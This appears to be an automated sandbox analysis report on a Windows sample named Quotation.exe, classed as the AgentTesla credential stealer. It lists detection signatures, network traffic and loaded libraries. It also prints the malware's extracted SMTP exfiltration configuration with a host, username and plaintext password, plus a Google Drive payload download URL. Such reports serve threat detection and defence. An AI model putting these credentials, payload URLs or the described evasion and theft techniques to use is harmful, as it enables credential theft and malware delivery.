Edit tour

Windows Analysis Report
Quotation.exe

Overview

General Information

Sample name:	Quotation.exe
Analysis ID:	1548300
MD5:	9ed064f0feb2397bb999563751c20b92
SHA1:	810d6882ab53614c20950da17021650fed89f5d8
SHA256:	f849a928785cb16a719369fbe98c9246bc84d634f3547467a3223fa148a6b09b
Tags:	exeuser-lowmal3
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Installs a global keyboard hook

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Quotation.exe (PID: 5968 cmdline: "C:\Users\user\Desktop\Quotation.exe" MD5: 9ED064F0FEB2397BB999563751C20B92)

Quotation.exe (PID: 2284 cmdline: "C:\Users\user\Desktop\Quotation.exe" MD5: 9ED064F0FEB2397BB999563751C20B92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.showpiece.trillennium.biz", "Username": "build@showpiece.trillennium.biz", "Password": "3KJ[T.3]fsSW"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3293340440.0000000033D3C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3293340440.0000000033D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3293340440.0000000033D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Quotation.exe PID: 2284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Quotation.exe PID: 2284	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 67.23.226.139, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Quotation.exe, Initiated: true, ProcessId: 2284, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49815

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T10:00:13.349949+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.5	49704	TCP
2024-11-04T10:00:52.036491+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.5	49888	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T10:00:28.263870+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49767	142.250.186.174	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: Quotation.exe.5968.0.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.showpiece.trillennium.biz", "Username": "build@showpiece.trillennium.biz", "Password": "3KJ[T.3]fsSW"}

Multi AV Scanner detection for submitted file

Source: Quotation.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: Quotation.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49802 version: TLS 1.2

Source: Quotation.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_004066F7 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,		0_2_004066F7
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_004065AD FindFirstFileW,FindClose,		0_2_004065AD

Source: global traffic

TCP traffic: 192.168.2.5:49815 -> 67.23.226.139:587

Source: Joe Sandbox View	IP Address: 67.23.226.139 67.23.226.139
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: DIMENOCUS DIMENOCUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49767 -> 142.250.186.174:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.5:49888

Source: global traffic

TCP traffic: 192.168.2.5:49815 -> 67.23.226.139:587

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: mail.showpiece.trillennium.biz

Source: Quotation.exe, 00000003.00000002.3293340440.0000000033D3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.showpiece.trillennium.biz
Source: Quotation.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error...
Source: Quotation.exe, 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3293947938.0000000036397000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2469042392.00000000363BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0
Source: Quotation.exe, 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3293947938.0000000036397000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2469042392.00000000363BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: Quotation.exe, 00000003.00000002.3293340440.0000000033CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Quotation.exe, 00000003.00000002.3293340440.0000000033D3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://showpiece.trillennium.biz
Source: Quotation.exe, 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3293947938.0000000036397000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2469042392.00000000363BB000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3294043978.0000000036424000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Quotation.exe, 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3293947938.0000000036397000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2469042392.00000000363BB000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3294043978.0000000036424000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Quotation.exe, 00000003.00000002.3293340440.0000000033CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Quotation.exe, 00000003.00000002.3293340440.0000000033CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Quotation.exe, 00000003.00000002.3293340440.0000000033CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: Quotation.exe, 00000003.00000003.2357877321.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2357782710.0000000003887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Quotation.exe, 00000003.00000002.3270442306.0000000003818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Quotation.exe, 00000003.00000002.3270427395.0000000003800000.00000004.00001000.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3270442306.0000000003857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6
Source: Quotation.exe, 00000003.00000003.2366718942.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3270442306.0000000003882000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2403781585.0000000003885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Quotation.exe, 00000003.00000002.3270442306.0000000003882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/R
Source: Quotation.exe, 00000003.00000002.3270442306.0000000003818000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2403781585.0000000003885000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2357782710.0000000003887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6&export=download
Source: Quotation.exe, 00000003.00000003.2366718942.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2403781585.0000000003885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6&export=downloadY
Source: Quotation.exe, 00000003.00000003.2366718942.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2403781585.0000000003885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6&export=downloade
Source: Quotation.exe, 00000003.00000003.2357877321.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2357782710.0000000003887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Quotation.exe, 00000003.00000003.2357877321.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2357782710.0000000003887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Quotation.exe, 00000003.00000003.2357877321.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2357782710.0000000003887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Quotation.exe, 00000003.00000003.2357877321.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2357782710.0000000003887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Quotation.exe, 00000003.00000003.2357877321.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2357782710.0000000003887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49802 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\Desktop\Quotation.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\Quotation.exe

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Quotation.exe

Source: C:\Users\user\Desktop\Quotation.exe

Code function: 0_2_004036DA EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,

0_2_004036DA

Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_733F2351	0_2_733F2351
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_0015A500	3_2_0015A500
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_0015A950	3_2_0015A950
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_00154A98	3_2_00154A98
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_0015DCA8	3_2_0015DCA8
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_00153E80	3_2_00153E80
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_001541BE	3_2_001541BE
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_001541C8	3_2_001541C8
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D56698	3_2_36D56698
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D5B2BA	3_2_36D5B2BA
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D55648	3_2_36D55648
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D5C220	3_2_36D5C220
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D57E20	3_2_36D57E20
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D53108	3_2_36D53108
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D57740	3_2_36D57740
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D52338	3_2_36D52338
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D5E440	3_2_36D5E440
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D50040	3_2_36D50040
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D55D83	3_2_36D55D83
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_3723194A	3_2_3723194A
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_37231982	3_2_37231982
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_37231988	3_2_37231988
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_37390448	3_2_37390448
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_37394B48	3_2_37394B48
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_36D50037	3_2_36D50037

Source: Quotation.exe

Static PE information: invalid certificate

Source: Quotation.exe, 00000003.00000002.3293100848.0000000033AD9000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Quotation.exe

Source: Quotation.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/12@4/4

Source: C:\Users\user\Desktop\Quotation.exe

0_2_004036DA

Source: C:\Users\user\Desktop\Quotation.exe

File created: C:\Users\user\overlays

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Quotation.exe

File created: C:\Users\user\AppData\Local\Temp\nsh4381.tmp

Jump to behavior

Source: Quotation.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Quotation.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Quotation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Quotation.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Quotation.exe

ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\Quotation.exe

File read: C:\Users\user\Desktop\Quotation.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Quotation.exe "C:\Users\user\Desktop\Quotation.exe"
Source: C:\Users\user\Desktop\Quotation.exe	Process created: C:\Users\user\Desktop\Quotation.exe "C:\Users\user\Desktop\Quotation.exe"
Source: C:\Users\user\Desktop\Quotation.exe	Process created: C:\Users\user\Desktop\Quotation.exe "C:\Users\user\Desktop\Quotation.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

File written: C:\Users\user\Music\antithetic.ini

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

